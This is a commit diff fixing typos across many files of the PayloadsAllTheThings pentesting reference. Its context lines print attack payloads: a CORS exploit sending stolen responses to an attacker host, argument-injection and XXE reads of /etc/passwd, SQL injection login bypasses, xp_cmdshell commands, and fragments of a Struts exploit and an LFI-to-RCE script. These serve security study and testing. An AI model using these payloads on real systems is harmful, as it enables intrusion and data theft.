Mirrors/PayloadsAllTheThings
2
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-11-14 00:47:20 +00:00
Code Issues Projects Releases Packages Wiki Activity

Fix typos

Browse source
This commit is contained in:
Swissky 2024-09-16 18:05:54 +02:00
parent d90c73c7ef
commit d5a6811193
27 changed files with 152 additions and 143 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

24
Argument Injection/README.md
View file

@ -1,4 +1,5 @@
# Argument Injection # Argument Injection
Argument injection is similar to command injection as tainted data is passed to to a command executed in a shell without proper sanitization/escaping. Argument injection is similar to command injection as tainted data is passed to to a command executed in a shell without proper sanitization/escaping.
It can happen in different situations, where you can only inject arguments to a command: It can happen in different situations, where you can only inject arguments to a command:
@ -7,7 +8,8 @@ It can happen in different situations, where you can only inject arguments to a
- Injection of arguments into a fixed command (PHP:escapeshellcmd, Python: Popen) - Injection of arguments into a fixed command (PHP:escapeshellcmd, Python: Popen)
- Bash expansion (ex: *) - Bash expansion (ex: *)
In the following example, a python script takes the inputs from the command line to generate a ```curl``` command: In the following example, a python script takes the inputs from the command line to generate a ```curl``` command:*
```py ```py
from shlex import quote,split from shlex import quote,split
import sys import sys
@ -19,14 +21,19 @@ if __name__=="__main__":
print(command) print(command)
r = subprocess.Popen(command) r = subprocess.Popen(command)
``` ```
It is possible for an attacker to pass several words to abuse options from ```curl``` command It is possible for an attacker to pass several words to abuse options from ```curl``` command
```ps1 ```ps1
python python_rce.py "https://www.google.fr -o test.py" python python_rce.py "https://www.google.fr -o test.py"
``` ```
We can see by printing the command that all the parameters are splited allowing to inject an argument that will save the response in an arbitrary file.
We can see by printing the command that all the parameters are split allowing to inject an argument that will save the response in an arbitrary file.
```ps1 ```ps1
['curl', 'https://www.google.fr', '-o', 'test.py'] ['curl', 'https://www.google.fr', '-o', 'test.py']
``` ```
## Summary ## Summary
* [List of exposed commands](#list-of-exposed-commands) * [List of exposed commands](#list-of-exposed-commands)
@ -40,6 +47,7 @@ We can see by printing the command that all the parameters are splited allowing
## List of exposed commands ## List of exposed commands
### CURL ### CURL
It is possible to abuse ```curl``` through the following options: It is possible to abuse ```curl``` through the following options:
```ps1 ```ps1
@ -49,9 +57,11 @@ It is possible to abuse ```curl``` through the following options:
In case there is already one option in the command it is possible to inject several URLs to download and several output options. Each option will affect each URL in sequence. In case there is already one option in the command it is possible to inject several URLs to download and several output options. Each option will affect each URL in sequence.
### TAR ### TAR
For the ```tar``` command it is possible to inject arbitrary arguments in different commands. For the ```tar``` command it is possible to inject arbitrary arguments in different commands.
Argument injection can happen into the '''extract''' command: Argument injection can happen into the '''extract''' command:
```ps1 ```ps1
--to-command <command> --to-command <command>
--checkpoint=1 --checkpoint-action=exec=<command> --checkpoint=1 --checkpoint-action=exec=<command>
@ -59,35 +69,45 @@ Argument injection can happen into the '''extract''' command:
``` ```
Or in the '''create''' command: Or in the '''create''' command:
```ps1 ```ps1
-I=<program> or -I <program> -I=<program> or -I <program>
--use-compres-program=<program> --use-compres-program=<program>
``` ```
There are also short options to work without spaces: There are also short options to work without spaces:
```ps1 ```ps1
-T<file> -T<file>
-I"/path/to/exec" -I"/path/to/exec"
``` ```
### FIND ### FIND
Find some_file inside /tmp directory. Find some_file inside /tmp directory.
```php ```php
$file = "some_file"; $file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file)); system("find /tmp -iname ".escapeshellcmd($file));
``` ```
Print /etc/passwd content. Print /etc/passwd content.
```php ```php
$file = "sth -or -exec cat /etc/passwd ; -quit"; $file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file)); system("find /tmp -iname ".escapeshellcmd($file));
``` ```
### WGET ### WGET
Example of vulnerable code Example of vulnerable code
```php ```php
system(escapeshellcmd('wget '.$url)); system(escapeshellcmd('wget '.$url));
``` ```
Arbitrary file write Arbitrary file write
```php ```php
$url = '--directory-prefix=/var/www/html http://example.com/example.php'; $url = '--directory-prefix=/var/www/html http://example.com/example.php';
``` ```

8
CORS Misconfiguration/README.md
View file

@ -56,7 +56,7 @@ req.withCredentials = true;
req.send(); req.send();
function reqListener() { function reqListener() {
location='//atttacker.net/log?key='+this.responseText; location='//attacker.net/log?key='+this.responseText;
}; };
``` ```
@ -174,7 +174,7 @@ req.open('get','https://api.internal.example.com/endpoint',true);
req.send(); req.send();
function reqListener() { function reqListener() {
location='//atttacker.net/log?key='+this.responseText; location='//attacker.net/log?key='+this.responseText;
}; };
``` ```
@ -210,7 +210,7 @@ req.withCredentials = true;
req.send(); req.send();
function reqListener() { function reqListener() {
location='//atttacker.net/log?key='+this.responseText; location='//attacker.net/log?key='+this.responseText;
}; };
``` ```
@ -243,7 +243,7 @@ req.withCredentials = true;
req.send(); req.send();
function reqListener() { function reqListener() {
location='//atttacker.net/log?key='+this.responseText; location='//attacker.net/log?key='+this.responseText;
}; };
``` ```

2
CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py
View file

@ -114,7 +114,7 @@ if len(host) > 0:
urllib.request.urlopen(host+pwnd(str(shellfile))) urllib.request.urlopen(host+pwnd(str(shellfile)))
shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'")) shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
if shell.read().find(pathsave+"status.php") != -1: if shell.read().find(pathsave+"status.php") != -1:
print(BOLD+GREEN+"\nCreate File Successfull :) ["+pathsave+"status.php]\n"+ENDC) print(BOLD+GREEN+"\nCreate File Successful :) ["+pathsave+"status.php]\n"+ENDC)
else: else:
print(BOLD+RED+"\nNo Create File :/\n"+ENDC) print(BOLD+RED+"\nNo Create File :/\n"+ENDC)

2
Client Side Path Traversal/README.md
View file

@ -14,7 +14,7 @@ Since every request is initiated from within the frontend of the application, th
![](https://matanber.com/images/blog/cspt-query-param.png) ![](https://matanber.com/images/blog/cspt-query-param.png)
A post-serving page calls the fetch function, sending a request to a URL with attacker-controlled input which is not properly encoded in its path, allowing the attacker to inject `../` sequences to the path and make the request get sent to an arbitrary endpoint. This behavior is refered to as a CSPT vulnerability. A post-serving page calls the fetch function, sending a request to a URL with attacker-controlled input which is not properly encoded in its path, allowing the attacker to inject `../` sequences to the path and make the request get sent to an arbitrary endpoint. This behavior is referred to as a CSPT vulnerability.
**Example**: **Example**:

2
Command Injection/README.md
View file

@ -136,7 +136,7 @@ Use this website [Argument Injection Vectors - Sonar](https://sonarsource.github
### Bypass without space ### Bypass without space
* `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a seperator in commands like `ls`, `wget`; use `${IFS}` instead. * `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a separator in commands like `ls`, `wget`; use `${IFS}` instead.
```powershell ```powershell
cat${IFS}/etc/passwd cat${IFS}/etc/passwd
ls${IFS}-la ls${IFS}-la

2
File Inclusion/Files/LFI2RCE.py
View file

@ -38,7 +38,7 @@ filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]: for c in base64_payload[::-1]:
filters += conversions[c] + "|" filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64 # decode and re-encode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|" filters += "convert.base64-decode|"
filters += "convert.base64-encode|" filters += "convert.base64-encode|"
# get rid of equal signs # get rid of equal signs

2
File Inclusion/README.md
View file

@ -2,7 +2,7 @@
> A File Inclusion Vulnerability refers to a type of security vulnerability in web applications, particularly prevalent in applications developed in PHP, where an attacker can include a file, usually exploiting a lack of proper input/output sanitization. This vulnerability can lead to a range of malicious activities, including code execution, data theft, and website defacement. > A File Inclusion Vulnerability refers to a type of security vulnerability in web applications, particularly prevalent in applications developed in PHP, where an attacker can include a file, usually exploiting a lack of proper input/output sanitization. This vulnerability can lead to a range of malicious activities, including code execution, data theft, and website defacement.
**File Inclusion Vulnerability** should be differenciated from **Path Traversal**. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code. **File Inclusion Vulnerability** should be differentiated from **Path Traversal**. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code.
## Summary ## Summary

4
Insecure Direct Object References/README.md
View file

@ -55,7 +55,7 @@ https://example.com/profile?user_id=124
### Numeric Value Parameter ### Numeric Value Parameter
Increment and decrement these values to access sensitive informations. Increment and decrement these values to access sensitive information.
* Decimal value: `287789`, `287790`, `287791`, ... * Decimal value: `287789`, `287790`, `287791`, ...
* Hexadecimal: `0x4642d`, `0x4642e`, `0x4642f`, ... * Hexadecimal: `0x4642d`, `0x4642e`, `0x4642f`, ...
@ -109,7 +109,7 @@ Sometimes we see websites using hashed values to generate a random user id or to
### Wildcard Parameter ### Wildcard Parameter
Send a wilcard instead of an ID, some backend might respond with the data of all the users. Send a wildcard (`*`, `%`, `.`, `_`) instead of an ID, some backend might respond with the data of all the users.
* `GET /api/users/* HTTP/1.1` * `GET /api/users/* HTTP/1.1`
* `GET /api/users/% HTTP/1.1` * `GET /api/users/% HTTP/1.1`

4
Insecure Randomness/README.md
View file

@ -25,7 +25,7 @@ The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.
|----------|--------| |----------|--------|
| 0 | Only `00000000-0000-0000-0000-000000000000` | | 0 | Only `00000000-0000-0000-0000-000000000000` |
| 1 | based on time, or clock sequence | | 1 | based on time, or clock sequence |
| 2 | reserved in the RFC 4122, but ommitted in many implementations | | 2 | reserved in the RFC 4122, but omitted in many implementations |
| 3 | based on a MD5 hash | | 3 | based on a MD5 hash |
| 4 | randomly generated | | 4 | randomly generated |
| 5 | based on a SHA1 hash | | 5 | based on a SHA1 hash |
@ -157,7 +157,7 @@ Other bad ideas that are sometimes shipped into production.
Generic identification and sandwitch attack: Generic identification and sandwitch attack:
* [AethliosIK/reset-tolkien](https://github.com/AethliosIK/reset-tolkien) - Unsecure time-based secret exploitation and Sandwich attack implementation Resources * [AethliosIK/reset-tolkien](https://github.com/AethliosIK/reset-tolkien) - Insecure time-based secret exploitation and Sandwich attack implementation Resources
```ps1 ```ps1
reset-tolkien detect 660430516ffcf -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --timezone "-7" reset-tolkien detect 660430516ffcf -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --timezone "-7"
reset-tolkien sandwich 660430516ffcf -bt 1711550546.485597 -et 1711550546.505134 -o output.txt --token-format="uniqid" reset-tolkien sandwich 660430516ffcf -bt 1711550546.485597 -et 1711550546.505134 -o output.txt --token-format="uniqid"

29
Insecure Source Code Management/README.md
View file

@ -1,33 +1,33 @@
# Insecure Source Code Management # Insecure Source Code Management
* [Git](#git) * [Git](#git)
+ [Example](#example) * [Example](#example)
- [Recovering file contents from .git/logs/HEAD](#recovering-file-contents-from-gitlogshead) * [Recovering file contents from .git/logs/HEAD](#recovering-file-contents-from-gitlogshead)
- [Recovering file contents from .git/index](#recovering-file-contents-from-gitindex) * [Recovering file contents from .git/index](#recovering-file-contents-from-gitindex)
+ [Tools](#tools) * [Tools](#tools)
- [Automatic recovery](#automatic-recovery) * [Automatic recovery](#automatic-recovery)
* [git-dumper.py](#git-dumperpy) * [git-dumper.py](#git-dumperpy)
* [diggit.py](#diggitpy) * [diggit.py](#diggitpy)
* [GoGitDumper](#gogitdumper) * [GoGitDumper](#gogitdumper)
* [rip-git](#rip-git) * [rip-git](#rip-git)
* [GitHack](#githack) * [GitHack](#githack)
* [GitTools](#gittools) * [GitTools](#gittools)
- [Harvesting secrets](#harvesting-secrets) * [Harvesting secrets](#harvesting-secrets)
* [trufflehog](#trufflehog) * [trufflehog](#trufflehog)
* [Yar](#yar) * [Yar](#yar)
* [Gitrob](#gitrob) * [Gitrob](#gitrob)
* [Gitleaks](#gitleaks) * [Gitleaks](#gitleaks)
* [Subversion](#subversion) * [Subversion](#subversion)
+ [Example (Wordpress)](#example-wordpress) * [Example (Wordpress)](#example-wordpress)
+ [Tools](#tools-1) * [Tools](#tools-1)
- [svn-extractor](#svn-extractor) * [svn-extractor](#svn-extractor)
* [Bazaar](#bazaar) * [Bazaar](#bazaar)
+ [Tools](#tools-2) * [Tools](#tools-2)
- [rip-bzr.pl](#rip-bzrpl) * [rip-bzr.pl](#rip-bzrpl)
- [bzr_dumper](#bzr_dumper) * [bzr_dumper](#bzr_dumper)
* [Mercurial](#mercurial) * [Mercurial](#mercurial)
+ [Tools](#tools-3) * [Tools](#tools-3)
- [rip-hg.pl](#rip-hgpl) * [rip-hg.pl](#rip-hgpl)
* [References](#references) * [References](#references)
## Git ## Git
@ -244,6 +244,7 @@ curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
* use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case) * use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base` * create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
### Tools ### Tools
#### svn-extractor #### svn-extractor

6
LDAP Injection/README.md
View file

@ -121,11 +121,11 @@ fields = []
url = 'https://URL.com/' url = 'https://URL.com/'
f = open('dic', 'r') #Open the wordlists of common attributes f = open('dic', 'r') #Open the worldists of common attributes
wordl = f.read().split('\n') world = f.read().split('\n')
f.close() f.close()
for i in wordl: for i in world:
r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla)) r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))
if 'TRUE CONDITION' in r.text: if 'TRUE CONDITION' in r.text:
fields.append(str(i)) fields.append(str(i))

3
Open Redirect/README.md
View file

@ -126,7 +126,7 @@ http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com http://www.yoursite.com/folder/www.folder.com
``` ```
Using "?" characted, browser will translate it to "/?" Using "`?`" character, browser will translate it to "`/?`"
```powershell ```powershell
http://www.yoursite.com?http://www.theirsite.com/ http://www.yoursite.com?http://www.theirsite.com/
@ -135,6 +135,7 @@ http://www.yoursite.com?folder/www.folder.com
Host/Split Unicode Normalization Host/Split Unicode Normalization
```powershell ```powershell
https://evil.c℀.example.com . ---> https://evil.ca/c.example.com https://evil.c℀.example.com . ---> https://evil.ca/c.example.com
http://a.com／X.b.com http://a.com／X.b.com

27
README.md
View file

@ -25,32 +25,13 @@ Every section contains the following files, you can use the `_template_vuln` fol
- Images - pictures for the README.md - Images - pictures for the README.md
- Files - some files referenced in the README.md - Files - some files referenced in the README.md
You might also like the `Methodology and Resources` folder : You might also like the other projects from the AllTheThings family :
- [Methodology and Resources](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/) - [InternalAllTheThings](https://swisskyrepo.github.io/InternalAllTheThings/) - Active Directory and Internal Pentest Cheatsheets
- [Active Directory Attack.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md) - [HardwareAllTheThings](https://swisskyrepo.github.io/HardwareAllTheThings/) - Hardware/IOT Pentesting Wiki
- [Cloud - AWS Pentest.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md)
- [Cloud - Azure Pentest.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md)
- [Cobalt Strike - Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet.md)
- [Linux - Evasion.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Evasion.md)
- [Linux - Persistence.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md)
- [Linux - Privilege Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md)
- [Metasploit - Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md)
- [Methodology and enumeration.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Methodology%20and%20enumeration.md)
- [Network Pivoting Techniques.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md)
- [Network Discovery.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Discovery.md)
- [Reverse Shell Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
- [Subdomains Enumeration.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Subdomains%20Enumeration.md)
- [Windows - AMSI Bypass.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass.md)
- [Windows - DPAPI.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20DPAPI.md)
- [Windows - Download and Execute.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md)
- [Windows - Mimikatz.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Mimikatz.md)
- [Windows - Persistence.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md)
- [Windows - Privilege Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
- [Windows - Using credentials.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Using%20credentials.md)
You want more ? Check the [Books](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_LEARNING_AND_SOCIALS/BOOKS.md) and [Youtube videos](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_LEARNING_AND_SOCIALS/YOUTUBE.md) selections. You want more ? Check the [Books](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_LEARNING_AND_SOCIALS/BOOKS.md) and [Youtube channel](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_LEARNING_AND_SOCIALS/YOUTUBE.md) selections.
:technologist: Contributions :technologist: Contributions

2
Race Condition/README.md
View file

@ -62,7 +62,7 @@ Bypassing anti-bruteforce mechanism and 2FA.
### HTTP/1.1 last-byte synchronization ### HTTP/1.1 last-byte synchronization
Send every requests execpt the last byte, then "release" each request by sending the last byte. Send every requests except the last byte, then "release" each request by sending the last byte.
Execute a last-byte synchronization using Turbo Intruder Execute a last-byte synchronization using Turbo Intruder

2
SQL Injection/Intruder/FUZZDB_MSSQL.txt
View file

@ -1,4 +1,4 @@
# you will need to customize/modify some of the vaules in the queries for best effect # you will need to customize/modify some of the values in the queries for best effect
'; exec master..xp_cmdshell 'ping 10.10.1.2'-- '; exec master..xp_cmdshell 'ping 10.10.1.2'--
'create user name identified by 'pass123' -- 'create user name identified by 'pass123' --
'create user name identified by pass123 temporary tablespace temp default tablespace users; 'create user name identified by pass123 temporary tablespace temp default tablespace users;

18
SQL Injection/MSSQL Injection.md
View file

@ -36,7 +36,7 @@
| msdb | Available in all versions | | msdb | Available in all versions |
| tempdb | Available in all versions | | tempdb | Available in all versions |
| northwind | Available in all versions | | northwind | Available in all versions |
| information_schema | Availalble from MSSQL 2000 and higher | | information_schema | Available from MSSQL 2000 and higher |
## MSSQL Comments ## MSSQL Comments
@ -101,14 +101,14 @@ SELECT DB_NAME()
```sql ```sql
SELECT name FROM master..sysdatabases; SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, … SELECT DB_NAME(N); — for N = 0, 1, 2, …
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+) SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimiter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
``` ```
## MSSQL List columns ## MSSQL List columns
```sql ```sql
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list column names and types for master..sometable
SELECT table_catalog, column_name FROM information_schema.columns SELECT table_catalog, column_name FROM information_schema.columns
``` ```
@ -116,12 +116,12 @@ SELECT table_catalog, column_name FROM information_schema.columns
## MSSQL List tables ## MSSQL List tables
```sql ```sql
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views SELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’; SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list column names and types for master..sometable
SELECT table_catalog, table_name FROM information_schema.columns SELECT table_catalog, table_name FROM information_schema.columns
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+) SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimiter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
``` ```
@ -316,7 +316,7 @@ EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
```powershell ```powershell
msf> use exploit/windows/mssql/mssql_linkcrawler msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio [msf> set DEPLOY true] # Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
``` ```
Manual exploitation Manual exploitation

4
SQL Injection/MySQL Injection.md
View file

@ -47,7 +47,7 @@
| Name | Description | | Name | Description |
|--------------------|--------------------------| |--------------------|--------------------------|
| mysql | Requires root privileges | | mysql | Requires root privileges |
| information_schema | Availalble from version 5 and higher | | information_schema | Available from version 5 and higher |
## MYSQL comments ## MYSQL comments
@ -108,7 +108,7 @@ First you need to know the number of columns
##### Using `order by` or `group by` ##### Using `order by` or `group by`
Keep incrementing the number until you get a False response. Keep incrementing the number until you get a False response.
Even though GROUP BY and ORDER BY have different funcionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query. Even though GROUP BY and ORDER BY have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.
```sql ```sql
1' ORDER BY 1--+ #True 1' ORDER BY 1--+ #True

2
SQL Injection/README.md
View file

@ -375,7 +375,7 @@ admin') or '1'='1'#
admin') or '1'='1'/* admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" -- admin" --
admin';-- azer admin';--
admin" # admin" #
admin"/* admin"/*
admin" or "1"="1 admin" or "1"="1

2
Upload Insecure Files/CVE Ffmpeg HLS/gen_avi_bypass.py
View file

@ -26,7 +26,7 @@ def prepare_txt_packet(txt, filename):
if __name__ == "__main__": if __name__ == "__main__":
parser = argparse.ArgumentParser('HLS AVI TXT exploit generator') parser = argparse.ArgumentParser('HLS AVI TXT exploit generator')
parser.add_argument('filename', help='file that should be read from convertion instance') parser.add_argument('filename', help='file that should be read from conversion instance')
parser.add_argument('output_avi', help='where to save the avi') parser.add_argument('output_avi', help='where to save the avi')
parser.add_argument('--txt', help='any .txt file that exist on target system', default='GOD.txt') parser.add_argument('--txt', help='any .txt file that exist on target system', default='GOD.txt')
args = parser.parse_args() args = parser.parse_args()

2
Upload Insecure Files/Configuration Apache .htaccess/README.md
View file

@ -16,7 +16,7 @@ Allow from all
</Files> </Files>
# Make .htaccess file be interpreted as php file. This occur after apache has interpreted # Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file # the apache directives from the .htaccess file
AddType application/x-httpd-php .htaccess AddType application/x-httpd-php .htaccess
``` ```

2
Upload Insecure Files/Configuration Busybox httpd.conf/README.md
View file

@ -8,4 +8,4 @@ https://github.com/brgl/busybox/blob/abbf17abccbf832365d9acf1c280369ba7d5f8b2/ne
> If a sub directory contains config file, it is parsed and merged with any existing settings as if it was appended to the original configuration. > If a sub directory contains config file, it is parsed and merged with any existing settings as if it was appended to the original configuration.
Watch out for Windows CRLF line endings messing up your payload (you will just get 404 errors) - you cant see these in Burp :) Watch out for Windows CRLF line endings messing up your payload (you will just get 404 errors) - you can't see these in Burp :)

2
Web Cache Deception/README.md
View file

@ -43,7 +43,7 @@ Imagine an attacker lures a logged-in victim into accessing `http://www.example.
1. Normal browsing, visit home : `https://www.example.com/myaccount/home/` 1. Normal browsing, visit home : `https://www.example.com/myaccount/home/`
2. Open the malicious link : `https://www.example.com/myaccount/home/malicious.css` 2. Open the malicious link : `https://www.example.com/myaccount/home/malicious.css`
3. The page is displayed as /home and the cache is saving the page 3. The page is displayed as /home and the cache is saving the page
4. Open a private tab with the previous URL : `https://www.example.com/myaccount/home/malicous.css` 4. Open a private tab with the previous URL : `https://www.example.com/myaccount/home/malicious.css`
5. The content of the cache is displayed 5. The content of the cache is displayed
Video of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page Video of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page

7
Web Sockets/README.md
View file

@ -12,11 +12,13 @@
* [Labs](#labs) * [Labs](#labs)
* [References](#references) * [References](#references)
## Tools ## Tools
* [doyensec/wsrepl](https://github.com/doyensec/wsrepl) - WebSocket REPL for pentesters * [doyensec/wsrepl](https://github.com/doyensec/wsrepl) - WebSocket REPL for pentesters
* [mfowl/ws-harness.py](https://gist.githubusercontent.com/mfowl/ae5bc17f986d4fcc2023738127b06138/raw/e8e82467ade45998d46cef355fd9b57182c3e269/ws.harness.py) * [mfowl/ws-harness.py](https://gist.githubusercontent.com/mfowl/ae5bc17f986d4fcc2023738127b06138/raw/e8e82467ade45998d46cef355fd9b57182c3e269/ws.harness.py)
## Exploit ## Exploit
### Using wsrepl ### Using wsrepl
@ -82,7 +84,10 @@ python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.tx
The content of the message should contains the **[FUZZ]** keyword. The content of the message should contains the **[FUZZ]** keyword.
```json ```json
{"auth_user":"dGVzda==", "auth_pass":"[FUZZ]"} {
"auth_user":"dGVzda==",
"auth_pass":"[FUZZ]"
}
``` ```
Then you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket. Then you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket.

9
XXE Injection/README.md
View file

@ -128,7 +128,7 @@ It might help to set the `Content-Type: application/xml` in the request when sen
### Classic XXE ### Classic XXE
We try to display the content of the file `/etc/passwd` We try to display the content of the file `/etc/passwd`.
```xml ```xml
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root> <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
@ -283,6 +283,7 @@ Short list of dtd files already stored on Linux systems; list them with `locate
The file `/usr/share/xml/fontconfig/fonts.dtd` has an injectable entity `%constant` at line 148: `<!ENTITY % constant 'int|double|string|matrix|bool|charset|langset|const'>` The file `/usr/share/xml/fontconfig/fonts.dtd` has an injectable entity `%constant` at line 148: `<!ENTITY % constant 'int|double|string|matrix|bool|charset|langset|const'>`
The final payload becomes: The final payload becomes:
```xml ```xml
<!DOCTYPE message [ <!DOCTYPE message [
